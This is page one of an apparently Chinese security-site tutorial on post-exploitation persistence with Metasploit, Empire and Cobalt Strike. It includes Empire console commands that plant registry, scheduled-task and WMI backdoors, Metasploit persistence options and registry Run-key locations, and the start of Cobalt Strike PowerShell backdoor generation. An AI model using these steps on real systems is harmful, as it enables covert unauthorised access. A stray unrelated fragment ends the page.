歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

三大滲透框架權限維持

來源:本站整理 作者:佚名 時間:2019-10-08 TAG: 我要投稿

在滲透測試中,有三個非常經典的滲透測試框架--Metasploit、Empire、Cobalt Strike。
那么,通過漏洞獲取到目標主機權限后,如何利用滲透框架獲得持久性權限呢?
0x01 MSF權限維持
使用MSF維持權限的前提是先獲得一個meterpreter  shell,通過meterpreter shell獲取持久性shell的方法有兩種:
Persistence模塊
通過啟動項啟動(persistence)的方式,在目標機器上以反彈回連。

-U:設置后門在用戶登錄后自啟動。該方式會在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊表信息。推薦使用該參數;  -X:設置后門在系統啟動后自啟動。該方式會在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊表信息。由于權限問題,會導致添加失敗,后門將無法啟動。 -S:作為服務自動啟動代理程序(具有SYSTEM權限)
生成的相關文件位置 :
# 后門文件位置:    C:\Windows\Temp    C:\Users\Administrator\AppData\Local\Temp#  注冊表位置:     HKCU\Software\Microsoft\Windows\CurrentVersion\Run\    HKLM\Software\Microsoft\Windows\CurrentVersion\Run\

Metsvc 模塊
通過服務(metsvc)啟動的方式,在目標機器啟動后自啟動一個服務,等待連接。

目標主機上開啟了一個Meterpreter服務。

0x02 Empire 權限維持
Empire的persistence模塊提供了18種權限維持的方法,大致可以分為四類,即

elevated(管理權限)
misc(雜項)
powerbreach(內存維持)
userland(用戶權限)
registry*
add_netuser
deaduser
backdoor_lnk
schtasks*
add_sid_history*
eventlog*
registry
wmi*
debugger*
resolver
schtasks
wmi_updater*
disable_machine_acct_change*
get_ssps
install_ssp*
memssp*
skeleton_key*
注冊表
(Empire: agents) > agents(Empire: agents) > interact URL3FZBV(Empire: URL3FZBV) > usemodule persistence/elevated/registry*(Empire: powershell/persistence/elevated/registry) > set Listener test(Empire: powershell/persistence/elevated/registry) > execute

因為是開機啟動,所以會彈個黑框,之后還會彈出注冊表添加的powershell啟動項的框,在注冊表位置如下:

計劃任務
(Empire: agents) > interact 9NZ2RWBC(Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks*(Empire: powershell/persistence/elevated/schtasks) > set Listener test(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50(Empire: powershell/persistence/elevated/schtasks) > execute

在任務計劃程序庫可以看到-任務為Updater-啟動程序如下可以到為powershell

wmi
(Empire: agents) > interact 9NZ2RWBC(Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi(Empire: powershell/persistence/elevated/wmi) > set Listener test(Empire: powershell/persistence/elevated/wmi) > run

如何清除后門,最簡單的方法就是使用Autoruns,選擇WMI選項卡,右鍵就可以刪除惡意后門。

0x03 Cobalt Strike權限維持
通過Cobalt Strike拿到一個shell,留后門的方法有很多,下面介紹兩種比較常見的無文件、自啟動后門。
從Cobalt Strike菜單欄,Attacks--Web Drive-by--Scaripted Web Delivery,生成powershell后門。

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.gkrbnd.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        福彩原副主任